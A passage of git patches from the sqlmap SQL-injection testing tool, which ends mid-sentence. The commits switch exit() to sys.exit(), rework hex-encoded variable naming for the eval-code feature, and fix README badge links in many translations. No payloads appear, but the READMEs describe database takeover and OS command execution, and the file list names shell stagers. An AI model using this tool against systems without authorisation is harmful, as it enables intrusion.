<miroslav.stampar@gmail.com> Date: Mon, 4 Mar 2019 16:36:19 +0100 Subject: [PATCH 127/800] Fixes #3514 --- extra/wafdetectify/wafdetectify.py | 12 ++++++------ lib/core/settings.py | 2 +- lib/utils/versioncheck.py | 4 ++-- sqlmap.py | 4 ++-- txt/checksum.md5 | 8 ++++---- 5 files changed, 15 insertions(+), 15 deletions(-) diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index 2ceea92d0bf..a5f3d54d141 100755 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -73,7 +73,7 @@ def main(): print(colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))) if len(sys.argv) < 2: - exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1])) + sys.exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1])) cookie_jar = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar)) @@ -96,11 +96,11 @@ def main(): del sys.modules[filename[:-3]] module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8")) except ImportError as ex: - exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], ex))) + sys.exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], ex))) _ = dict(inspect.getmembers(module)) if "detect" not in _: - exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found)) + sys.exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found)) else: WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3]))) @@ -113,7 +113,7 @@ def main(): socket.getaddrinfo(hostname, None) except socket.gaierror: print(colorize("[x] host '%s' does not exist" % hostname)) - exit(1) + sys.exit(1) found = False for function, product in WAF_FUNCTIONS: @@ -121,14 +121,14 @@ def main(): continue if function(get_page): - exit(colorize("[!] WAF/IPS identified as '%s'" % product)) + sys.exit(colorize("[!] WAF/IPS identified as '%s'" % product)) if not found: print(colorize("[o] nothing found")) print() - exit(int(not found)) + sys.exit(int(not found)) if __name__ == "__main__": main() diff --git a/lib/core/settings.py b/lib/core/settings.py index e44d9a1aa84..c9304ca75f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.3" +VERSION = "1.3.3.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 7e17f28bc65..e9e49a5f007 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -11,7 +11,7 @@ PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": - exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) + sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) errors = [] extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") @@ -25,4 +25,4 @@ errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors)) errMsg += "most likely because current version of Python has been " errMsg += "built without appropriate dev packages" - exit(errMsg) + sys.exit(errMsg) diff --git a/sqlmap.py b/sqlmap.py index bf49f9fa5d3..ce3b4cbf8ea 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -15,7 +15,7 @@ try: __import__("lib.utils.versioncheck") # this has to be the first non-standard import except ImportError: - exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") + sys.exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") import bdb import distutils @@ -76,7 +76,7 @@ raise SystemExit else: import time - exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) + sys.exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) def modulePath(): """ diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4558c437861..9c8803f5d33 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -22,7 +22,7 @@ a32e12410e0f86c1d035db6daae84680 extra/shutils/duplicates.py fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 4f82e97b09cc530cb9a92472d0835cea extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py +4dc5e7c5400204159baaf10a0a9124f0 extra/wafdetectify/wafdetectify.py e6909a3b32fc09c0373101eb58c76538 lib/controller/action.py 0fce185e63b1b743b3ef0a3dbe640366 lib/controller/checks.py 8581acf56b8fb0def50af3707490a834 lib/controller/controller.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -430c1a61f8acb571e755a3ddab1c1591 lib/core/settings.py +918a8651a9872a33ddb04f82ac3360c3 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -118,7 +118,7 @@ b79654e49850937ab2dc8e0d73625cab lib/utils/purge.py 503637fbdabaad5bc7f87dfcfbea4dd3 lib/utils/search.py 272a538a3d36186113191f4c543bb34b lib/utils/sqlalchemy.py 68f90f633d812ca428d2f15f016b2d96 lib/utils/timeout.py -164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py +e0cecb6efea4dbd6ac389f6162808283 lib/utils/versioncheck.py a5007113e3cda726e1d131b99b927284 lib/utils/xrange.py 28da82c0afa4d8a0e9848f7bd8e994b7 LICENSE b8656f4785d0945e68257107a171f945 plugins/dbms/access/connector.py @@ -236,7 +236,7 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ 0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ 41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -9693388e705f68e0e307dc225c64ae42 sqlmap.py +a436dd078b06bf664637b27f42889a35 sqlmap.py 772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py 3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py 1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py From 3f6b53f5f341890f09c2ea7d63cefc6f3ba73e6f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 5 Mar 2019 12:24:41 +0100 Subject: [PATCH 128/800] Fixes #3515 (and reimplements #1062) --- lib/core/common.py | 20 ++++++++++++++------ lib/core/settings.py | 6 +++--- lib/request/connect.py | 23 ++++++----------------- txt/checksum.md5 | 6 +++--- 4 files changed, 26 insertions(+), 29 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 22fe12f0cae..8bc0fc5f909 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -16,6 +16,7 @@ import httplib import inspect import json +import keyword import locale import logging import ntpath @@ -115,6 +116,7 @@ from lib.core.settings import DUMMY_USER_INJECTION from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH from lib.core.settings import ERROR_PARSING_REGEXES +from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import FILE_PATH_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX @@ -4816,21 +4818,27 @@ def safeVariableNaming(value): """ Returns escaped safe-representation of a given variable name that can be used in Python evaluated code - >>> safeVariableNaming("foo bar") - 'foo__SAFE__20bar' + >>> safeVariableNaming("class.id") + 'EVAL_636c6173732e6964' """ - return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) + if value in keyword.kwlist or re.search(r"\A[^a-zA-Z]|[^\w]", value): + value = "%s%s" % (EVALCODE_ENCODED_PREFIX, value.encode(UNICODE_ENCODING).encode("hex")) + + return value def unsafeVariableNaming(value): """ Returns unescaped safe-representation of a given variable name - >>> unsafeVariableNaming("foo__SAFE__20bar") - 'foo bar' + >>> unsafeVariableNaming("EVAL_636c6173732e6964") + u'class.id' """ - return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) + if value.startswith(EVALCODE_ENCODED_PREFIX): + value = value[len(EVALCODE_ENCODED_PREFIX):].decode("hex").decode(UNICODE_ENCODING) + + return value def firstNotNone(*args): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index c9304ca75f4..f56eccfd0bc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.4" +VERSION = "1.3.3.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -761,8 +761,8 @@ # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 -# Suffix used to mark variables having keyword names -EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" +# Prefix used to mark special variables (e.g. keywords, having special chars, etc.) +EVALCODE_ENCODED_PREFIX = "EVAL_" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." diff --git a/lib/request/connect.py b/lib/request/connect.py index f147fe8c224..2d6bc8338f9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -8,7 +8,6 @@ import binascii import compiler import httplib -import keyword import logging import re import socket @@ -92,7 +91,7 @@ class WebSocketException(Exception): from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_USER_AGENT -from lib.core.settings import EVALCODE_KEYWORD_SUFFIX +from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE @@ -1070,7 +1069,6 @@ def _randomizeParameter(paramString, randomParameter): delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()} originals = {} - keywords = keyword.kwlist if not get and PLACE.URI in conf.parameters: query = urlparse.urlsplit(uri).query or "" @@ -1085,8 +1083,6 @@ def _randomizeParameter(paramString, randomParameter): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) - elif name in keywords: - name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value @@ -1098,8 +1094,6 @@ def _randomizeParameter(paramString, randomParameter): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) - elif name in keywords: - name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True) variables[name] = value @@ -1109,20 +1103,20 @@ def _randomizeParameter(paramString, randomParameter): except SyntaxError as ex: if ex.text: original = replacement = ex.text.strip() + if '=' in original: name, value = original.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) - elif name in keywords: - replacement = re.sub(r"\b%s\b" % re.escape(name), "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX), replacement) else: for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: - if _ in keywords: - replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) + if safeVariableNaming(_) != _: + replacement = replacement.replace(_, safeVariableNaming(_)) break + if original == replacement: - conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") + conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") break else: conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) @@ -1135,11 +1129,6 @@ def _randomizeParameter(paramString, randomParameter): evaluateCode(conf.evalCode, variables) for variable in list(variables.keys()): - if variable.endswith(EVALCODE_KEYWORD_SUFFIX): - value = variables[variable] - del variables[variable] - variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value - if unsafeVariableNaming(variable) != variable: value = variables[variable] del variables[variable] diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9c8803f5d33..5520305cff2 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -9deec4762d61e057b6e069b2538bdcf8 lib/core/common.py +8996b4b377b859dc69de323416615f2f lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py 00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -918a8651a9872a33ddb04f82ac3360c3 lib/core/settings.py +1cd62a025c607338eb55d673375b4444 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py b23163d485e0dbc038cbf1ba80be11da lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -3925fef5710ac4e96b85c808df1c2f6a lib/request/connect.py +d2e7673ed4838a321b825ea1854ea2c0 lib/request/connect.py 43005bd6a78e9cf0f3ed2283a1cb122e lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From f81e427353d35a194a6054a07f5cd79529ad307d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 5 Mar 2019 15:34:09 +0100 Subject: [PATCH 129/800] Minor patch of links --- README.md | 2 +- doc/translations/README-bg-BG.md | 2 +- doc/translations/README-es-MX.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-hr-HR.md | 2 +- doc/translations/README-id-ID.md | 2 +- doc/translations/README-it-IT.md | 2 +- doc/translations/README-ja-JP.md | 2 +- doc/translations/README-pl-PL.md | 2 +- doc/translations/README-pt-BR.md | 2 +- doc/translations/README-ru-RUS.md | 2 +- doc/translations/README-tr-TR.md | 2 +- doc/translations/README-uk-UA.md | 2 +- doc/translations/README-zh-CN.md | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- 17 files changed, 17 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index ad48e852818..34399034916 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index 79c24538a94..4a59ea5004c 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![Лиценз](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![Лиценз](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index c874d21496b..a608928d63f 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c051396304d..8c0b4fc6c96 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 4deee28051d..a1d26ae6689 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 7b84a99bc07..5366b20d8c3 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 6cf44cf044c..cd01a3e9c3e 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index eddaa95ac03..0c553b419f2 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo 